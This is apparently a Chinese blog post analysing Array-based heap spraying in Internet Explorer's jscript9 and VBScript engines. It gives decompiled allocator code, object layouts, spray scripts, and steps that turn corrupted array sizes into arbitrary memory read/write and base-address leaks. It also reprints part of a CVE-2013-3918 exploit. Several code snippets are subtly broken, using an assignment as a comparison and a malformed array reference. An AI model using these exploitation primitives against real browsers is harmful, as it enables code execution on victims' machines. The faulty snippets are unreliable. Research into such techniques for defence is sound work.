Array Object Heap SprayingJscript9中的Array对象是一个很有意思的东西,由于数组的便利性,我们可以用数组来做很多事情,比如修改数组长度来实现任意地址的读写、利用Array的vftable进行信息泄露等等。在CanSecWest 2014上ga1ois的讲题《The Art of Leaks – The Return of Heap Feng Shui》中提到了由于jscript9引擎中ArrayData的对齐问题,可以通过构造特定的Array来造成信息泄露。与IE9之前的jscript相比较而言,在jscript9中,一些对象不再由进程默认堆进行管理,而是由jscript9自己构造的Bucket Heap进行管理,其主要分配在IE的Custom Heap上,而Custom Heap这个堆上的对象管理机制更有利于进行Heap Spraying。另外,除了jscript9中的Array对象之外,vbscript中的Array也可以用来做很多事情,yuange在他的xp擂台赛版本中给出了完整的dve利用代码,让人深刻的体会到exploit的艺术。接下来,对这两个方面进行分别介绍。 1. Jscript9中Array Object Heap Spraying 首先,我们来分析jscript9中的Array Object Heap Spraying方法。对于jscript9而言,在不同的版本中(IE9-IE11)其内部的具体实现有着很大的不同,这里我们只讨论Array对象的处理部分,不具体讨论起处理细节(主要还没研究透彻-.-)。 l Array & Int32Array 在《The Art of Leaks – The Return of Heap Feng Shui》一文中,其针对的主要是IE10和IE11这两版本,主要利用Array和Int32Array相结合的方式来进行Heap Spraying以及信息泄、任意地址读写等功能。 上面提到,在jscript9中ArrayData存在着对齐问题,而一些重要的对象都在IE的Custom Heap上进行管理,比如string对象、Array对象和typed array对象等。那么为什么在jscript9中存在着这些问题,而jscript中没有呢?主要由以下几点解决了jscript中对齐问题。
而jscript9中之所以出现这种内存块地址对齐问题,主要是由于IE的custom heap上其ArrayData对象的内存分配并不是随机的,而是线性增长的,下面我们来具体分析一下其原因。下图是ArrayData内存分配时的栈回溯信息。
1 bool __thiscall Segment::Initialize(Segment *this, unsigned __int32 a2) 2 { 3 Segment *PageSegment; // esi@1 4 LPVOID v3; // eax@2 5 bool result; // al@5 6 7 PageSegment = this; 8 if ( PageAllocator::RequestAlloc(*((PageAllocator **)this + 5), *((_DWORD *)this + 3) << 12) ) 9 { 10 v3 = VirtualAlloc(0, *((_DWORD *)PageSegment + 3) << 12, a2 | 0x2000, 4u); 11 *((_DWORD *)PageSegment + 2) = v3; 12 if ( v3 13 && !(unsigned __int8)(*(int (__stdcall **)(Segment *, char *))(**((_DWORD **)PageSegment + 5) + 4))( 14 PageSegment, 15 (char *)PageSegment + 4) ) 16 { 17 VirtualFree(*((LPVOID *)PageSegment + 2), 0, 0x8000u); 18 *((_DWORD *)PageSegment + 2) = 0; 19 } 20 if ( !*((_DWORD *)PageSegment + 2) ) 21 PageAllocator::ReportFailure(*((PageAllocator **)PageSegment + 5), *((_DWORD *)PageSegment + 3) << 12); 22 result = *((_DWORD *)PageSegment + 2) != 0; 23 } 24 else 25 { 26 result = 0; 27 } 28 return result; 29 } 在上述代码中,我们可以看到其分配的大小为*((_DWORD *)PageSegment+3)<<12=0x20<<12=0x20000,在这里我们发现ArrayData由VirtualAlloc申请的内存并没有经过随机化处理,其地址是线性增长的,并且该地址直接由PageSegment结构保存,这样我们可以有效的利用这里特性来进行Heap Spraying。由此,我们可以使用以下代码进行Heap Spraying。 1 var int32buf = 0x4; 2 while(k < 0x400) //80M 3 { 4 heaparr[k] = new Array(0x3bf8); 5 for(var index = 0; index < 0x55; index++) 6 { 7 heaparr[k][index] = new Int32Array(int32buf); 8 } 9 k += 1; 10 } Array对象其结构如下所示。 1 Struct Array_Head 2 { 3 void *p_vftable; 4 DOWRD var_2; 5 DOWRD var_3; 6 DOWRD var_4; 7 DOWRD size; //item size 8 void *pArrayData; //buffer address 9 void *pArrayData; //buffer address 10 DWORD var_8; 11 }
ArrayData对象的结构如下所示。 1 Struct ArrayData 2 { 3 DWORD var_1; 4 DOWRD size; //item size 5 DOWRD size; //buffer size 6 DWORD var_4; 7 DWORD data[size]; //data 8 } Int32Array对象的结构如下所示。 1 Struct Int32Array 2 { 3 void* pvftable; 4 DOWRD var_2; 5 DOWRD var_3; 6 DOWRD var_4; 7 DOWRD var_5; 8 DOWRD var_6; 9 DOWRD size; //array size 10 void* pInt32ArrayData; //Int32Arraydata 11 void* pArrayBuffer; //Arraybuffer 12 DWORD var_10; 13 DWORD var_11; 14 DWORD var_12; 15 } ArrayBuffer对象结构如下所示。 1 Struct ArrayBuffer 2 { 3 void* pvftable; 4 DOWRD var_2; 5 DOWRD var_3; 6 DOWRD var_4; 7 void* pTypeArrayData; //TypeArraydata 8 DWORD size; //array bytes 9 DWORD var_10; 10 DWORD var_11; 11 } 这样我们就可以利用Array和Int32Array来构造0x10000字节的数据来进行Heap Spraying,从而构造出如下的内存布局,进行信息泄露以及任意内存读写。 对于上述代码中,位于0xyyyyf000处的Int32Array对象如下所示。 这里,我们只需要修改Int32Array的size,就可以实现任意地址读写的功能,如下图所示。 在实际的调试过程中,会发现Int32Array中的ArrayBffer域是一个js::javascriptarrayBuffer的对象,其大小为0x20,也是在Custom Heap上进行内存分配,这样就造成了我们在Heap Spraying的时候有三个对象在Custom Heap上进行内存分配,这时有可能让我们所构造的0x10000内存布局被破坏,如下图所示。 通过进一步分析,发现Int32Array对象分配的内存和ArrayBuffer对象分配的内存在两个独立的page上,这样我们就可以进一步构造数据,缩小Array的size,使其减少0x1000字节也就是一页,同时我们用额外的ArrayBuffer来填充这一页,这样我们就可以构造出Array+ArrayBuffer+Int32Array的0x10000字节的数据来布局内存,如下图所示。 当然,在实际的应用中,其内存布局也有可能如下,这需要根据具体的环境来进行调整。 其代码如下图所示。 1 <html> 2 <head> 3 </head> 4 <body> 5 <script> 6 var a = new Array(); 7 for (var k=0;k<0x400;k++) 8 { 9 a[k] = new Array(0x37f8); 10 for (var i = 0; i< 0x55;i++) 11 { 12 a[k][i] = new Int32Array(0x4); 13 } 14 for(;i<0x55+0x2b;i++) 15 { 16 a[k][i]=new ArrayBuffer(); 17 } 18 for(;i<0x37f8;i++) 19 { 20 a[k][i] = i; 21 } 22 } 23 alert('11'); 24 </script> 25 </body> 26 </html> 这里提供的只是一种思路,当然还有其他方法来提高喷射的效率和成功率,对于多个对象的喷射可以有多种方法去解决这一问题,这里不再详述。当然,这种方法也并非一定要局限在ArrayData的对齐问题上来进行信息泄露,我们也可以直接利用Array或者Int32Array来进行Heap Spraying,只要方法得当,都是可行的。
补充,昨天和ga1ois交流之后,才知道他是如何进行Int32Array对象的控制的,感觉甚是巧妙。对于多个对象的喷射,我们需要做的是尽可能减少干扰对象的大小,保证每个block里存储的对象的一致性,这样才能够更好的控制内存布局。其具体做法是,让所有的Int32Array指向同一块ArrayBuffer和ArrayData,这样就去除了Int32Array申请时ArrayBuffer所带来的干扰,代码如下。 1 <html> 2 <head> 3 </head> 4 <body> 5 <script> 6 var x = new Array(); 7 var int32buffer = new ArrayBuffer(0x58); 8 for(var i=0;i<0x400;i++) 9 { 10 x[i] = new Array(0x3bf8); 11 for(var j=0;j<0x55;j++) 12 { 13 x[i][j] = new Int32Array(int32buffer); 14 } 15 } 16 alert('1'); 17 </script> 18 </body> 19 </html> 通过这种方法,在测试的时候会发现其所有Int32Array中的ArrayBuffer和ArrayData是指向同一内存块的,如下图所示。 这样Array对象进行内存申请的时候,基本上都能够分配到0xyyyy0000地址处的0xf000字节内存块,而Int32Array对象则会分配到0xyyyyf000处。 l IntArray 在Hitcon 2014上exp-sky提出了IntArray Heap Spraying的方法,这种方法相对于ga1ois提出的方法而言,其喷射的效率更高,并且更容易控制。下面我们来看一下这个IntArray Heap Spraying的方法,这里主要针对IE11下进行分析(IE10下略有区别)。 在上文中,讲到了jscript9中处理Array的时候存在对齐,这里我们可以利用这种方式进行喷射,其代码如下所示。 1 <html> 2 <head> 3 </head> 4 <body> 5 <script> 6 var x = new Array(); 7 for(var i=0;i<0x200;i++) 8 { 9 x[i] = new Array(0x3bf8); 10 for(var j=0;j<0x20;j++) 11 { 12 x[i][j] = new Array(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16); 13 } 14 } 15 alert("123"); 16 </script> 17 </body> 18 </html> 这样,我们可以看到Array Data的数据被喷射到0xyyyy0010处,如下图所示,其0xyyyy0000处的0x10字节主要用来对齐,其偏移0x4的数据表示Array对象Data部分所占的大小,这在前文中已经介绍过,这里不再赘述。
而在0xyyyyf000地址处接下来的0x1000字节主要用来存取IntArray对象,在这里我们可以看到0xyyyyf000处的被IntArray对象占据,如下图所示。
下面,我们来看一下IntArray的一些结构信息和ArrayBuffer的一些结构信息。 1 Struct Array_Head 2 { 3 void *p_vftable; 4 DOWRD var_2; 5 DOWRD var_3; 6 DOWRD var_4; 7 DOWRD size; //item size 8 DOWRD p_first_buffer; //buffer address 9 DOWRD p_last_buffer; //buffer address 10 DOWRD var_8; 11 DOWRD var_9; 12 DOWRD var_10; 13 } 14 15 Struct ArrayBuffer 16 { 17 DWORD var_11; 18 DWORD size; //item size 19 DWORD buffer_size; //buffer size 20 DWORD next_buffer; //next buffer 21 DWORD data[buffer_size]; //data 22 } 具体信息如下图所示。 这样,在0xyyyyf000处保存着IntArray对象的pvftable,我们就可以以此来进行信息泄露。有了这个信息,我们还需要一个任意地址读写(Arbitrary Address Write/Read)来辅助我们的操作,而之前也说过,选用数组来进行操作,其好处就在于能够有效的实现任意地址读写功能。而要利用UAF漏洞实现这一功能,最关键的一步在于控制程序的流程,使其最终会走到如下的指令上:
这样的话,就可以对IntArray中的size进行操作,从而来扩大IntArray的访问范围。在0xyyyy0000处的接下来0x10000字节的布局如下图所示。 这样,我们可以操作0xyyyyf000处的IntArray的size区域,让其读的范围增大,如下图所示。 这样操作之后,就能够实现任意地址写(其实并不是任意地址写,而是相对于Array[0]地址之后的任意地址写操作,也即0x586f028之后的任意地址写操作),有了任意地址写之后,我们还需要能够进行读操作,来进行信息泄露。这里exp-sky给出了其方法,通过0xyyyyf000处的IntArray任意地址的写操作,我们可以修改相邻的0xyyyyf080地址处IntArray的Size,从而实现任意地址读写的功能,如下图所示。 具体操作如下代码所示: 1 var flag = 1; 2 for(var i=0;i<0x200 & flag;i++) 3 { 4 for(var j=0;j<0x1f;j++) 5 { 6 x[i][j][22] = 0x20000000; 7 x[i][j][29] = 0x20000000; 8 x[i][j][30] = 0x20000000; 9 if(x[i][j+1].length = 0x20000000) 10 { 11 flag = 0; 12 var pvftable = x[i][j+1][18]; 13 var jscript9_base_address = calcbaseaddress(pvftable); 14 } 15 } 16 } 操作后,内存如下所示。 这样,我们就能够获得jscript9的基地址以及ntdll的基地址。此外,我们还可以进一步定位shellcode,这里不再赘述。另外,我们也可以直接利用IntArray进行喷射,具体代码如下。 1 var x = new Array(); 2 var size = 0x1000*0x100; 3 for (var i = 0; i<size;i++) 4 { 5 x[i] = new Array(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16); 6 } 7 for(var j=size-2;j>=0;j--) 8 { 9 x[j][22] = 0x20000000; 10 x[j][29] = 0x20000000; 11 x[j][30] = 0x20000000; 12 if([j+1].length = 0x20000000) 13 { 14 var pvftable = x[j+1][18]; 15 var jscript9_base_address = calcbaseaddress(pvftable); 16 } 17 } 目前,jscript9中的Array Heap Spraying方法主要就是这些,下面我们再来分析一下vbscript下的Array Heap Spraying的方法,主要基于yuange的xp擂台赛dve版本exploit进行分析。 2. VBScript中的Array Object Heap Spraying 在yuange的xp擂台赛cve-2013-3918的dve版本中,也是利用了Array对象来进行Heap Spraying,不过这种方法更为巧妙,这里我们只分析Array部分的操作。 在vbscript中,其数据都由一个统一的结构tagVARIANT来进行处理,下图只列出具体一部分,具体结构信息可查阅MSDN。 1 struct __tagVARIANT{ 2 VARTYPE vt; 3 WORD wReserved1; 4 WORD wReserved2; 5 WORD wReserved3; 6 Union 7 { 8 LONGLONG IIVal; 9 LONG IVal; 10 BYTE bVal; 11 SHORT iVal; 12 …… 13 SAFEARRAY *parray; 14 …… 15 } tagVARIANT; 16 17 Typedef unsigned short VARTYPE; 其中一些重要的VARTYPE类型如下所示。 1 enum VARENUM{ 2 VT_EMPTY = 0, 3 VT_NULL = 1, 4 VT_I2 = 2, 5 VT_I4 = 3, 6 VT_R4 = 4, 7 VT_R8 = 5, 8 VT_BSTR = 8, 9 VT_VARIANT = 12, 10 …… 11 VT_VECTOR = 0x1000, 12 VT_ARRAY = 0x2000, 13 VT_BYREF = 0x4000, 14 }; 另外,还有一个重要的结构SAFEARRAY,这个结构在很多场合都会用到,如下所示。 1 typedef struct tagSAFEARRAY { 2 USHORT cDims; // The number of dimensions 3 USHORT fFeatures; //flags 4 ULONG cbElements; //The size of an array element. 5 ULONG cLocks; 6 PVOID pvData; //the data 7 SAFEARRAYBOUND rgsabound[1]; //one bound for each dimension 8 } SAFEARRAY; 9 10 const USHORT FADF_HAVEVARTYPE = 0x0080; /* array has a VT type */ 11 const USHORT FADF_VARIANT = 0x0800; /* an array of VARIANTs */ 12 13 typedef struct tagSAFEARRAYBOUND { 14 ULONG cElements; //the number of elements in the dimension 15 LONG lLbound; //the lower bound of the dimension 16 } SAFEARRAYBOUND; 上面列出了vbscript中对variant变量的处理的一些重要的结构信息,具体含义这里不再详述,可以查阅MSDN。下面我们分析yuange的dve代码array heap spraying的部分。具体代码如下。 1 dim a(300) 2 dim num 3 num = 200 4 function Begin() 5 On Error Resume Next 6 dim i 7 myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00) 8 myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0) 9 mystr=chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00) 10 11 For i=0 to num 12 a(i)= Array(0.0,0.0,myarray,0.0,9.52510864539202e-307) 13 Next 14 15 For i=num-50 to num-10 16 a(i)=0 17 Next 18 19 For i=0 to 11 20 Req.add(CStr(i)) 21 Next 22 23 For i=num-50 to num+99 24 a(i)= Array(0.0,0.0,myarray,0.0,9.52510864539202e-307) 25 Next 26 27 For i=Req.length to 0 step -1 28 Req.remove(CLng(i)) 29 Next 30 31 For i=-1 to -1000 step -1 32 Req.remove(CLng(i)) 33 For j=num+99 to 0 step -1 34 if ( a(j)(4) <1.0e-307) Then 35 Req.add("a") 36 Req.add("b") 37 a(j)(4)=mystr 38 Req.remove(CLng(i-18)) 39 Req.remove(CLng(i-18)) 40 Req.add("c") 41 Req.add("d") 42 43 a(j)(0)=0.0 44 a(j)(1)=1.74088534731324E-310 //0000200c`0000200c 45 a(j)(3)=6.36598737437801E-314 //00000003`00000003 46 47 Req.remove(CLng(i-18)) 48 Req.remove(CLng(i-18)) 49 50 add=a(j)(3)+16 51 52 i=-1000 53 exit for 54 End if 55 Next 56 Next 57 58 For i=Req.length to 0 59 Req.add(Cstr(i)) 60 Next 61 end function 首先,这里利用myarray字符串伪造成一个safearray对象,让其能够实现任意地址读写的功能,其内存数据如下所示。 但此时,myarray是一个字符串,如下图所示。 因此,要想实现任意地址读写的功能,将BSTR转换成SAFEARRAY对象来使用的话,首先必须要将这个字符串的标志位改成array & variant属性即0x200c,这样我们才能够实现这一功能。在此,yuange使用new array方法来进行heap spraying,并且调用CCardSpaceClaimCollection::Add来创建一个array对象,该array对象数据区初始大小为0x28,当数组大小超过目前大小时,它会进行扩充操作,使其内存大小翻一倍,即0x50字节,这样与new array时创建的数据区大小一致,从而让该段数据能够分配在new array数据区中间,这样便可以利用漏洞下溢的特性进行进一步操作。在利用new array来进行heap spraying的时候,利用浮点数9.52510864539202e-307来做签名标记,这样在漏洞利用的时候,可以定位数组的index,从而实现任意地址读写的功能。另外,这个浮点数也是yuange的签名,如下所示。 此后,在调用CCardSpaceClaimCollection::Remove函数时,其已经扩大的数据区进步会减少,而删掉其中的某一数据为0的元素后,后面的元素会自动向前填充。同时,这里由于存在下溢的漏洞,这里就可以进行移位操作。这里在remove(-3)之后,array对象的内存如下所示。 可以看到,0x029930ac地址处的0x0065676e数据已经被清0,之后,调用a(j)(4) <1.0e-307进行判断,从而确定被修改数组的index值。之后调用add将数据补齐,同时将mystr用来作为数据缓冲区,方便之后操作,如下图所示。 之后的两次remove进行错位操作,两次add进行填充操作,如下图所示。 之后,对数组元素进行重新赋值,方便之后的再错位操作,赋值之后内存数据如下所示。 这样,再调用两次remove操作之后,会将0x200c移动到标志位,如下图所示。 此时,原先的字符串myarray其属性已经转变成SAFEARRAY对象,可以利用myarray来进行任意地址读写操作,这里不再赘述。
总结,利用Array进行Heap Spraying其优势在于对于数组更易于控制,同时其修改的内容关键在于数组的大小和数组的属性。本质上来说,属性的修改是为了达到混淆对象的目的,其最终目的还是为了实现任意地址读写的功能。当然,除此以外,对于数组属性的修改也会更好地方便shellcode的调用等等。
引用
|
|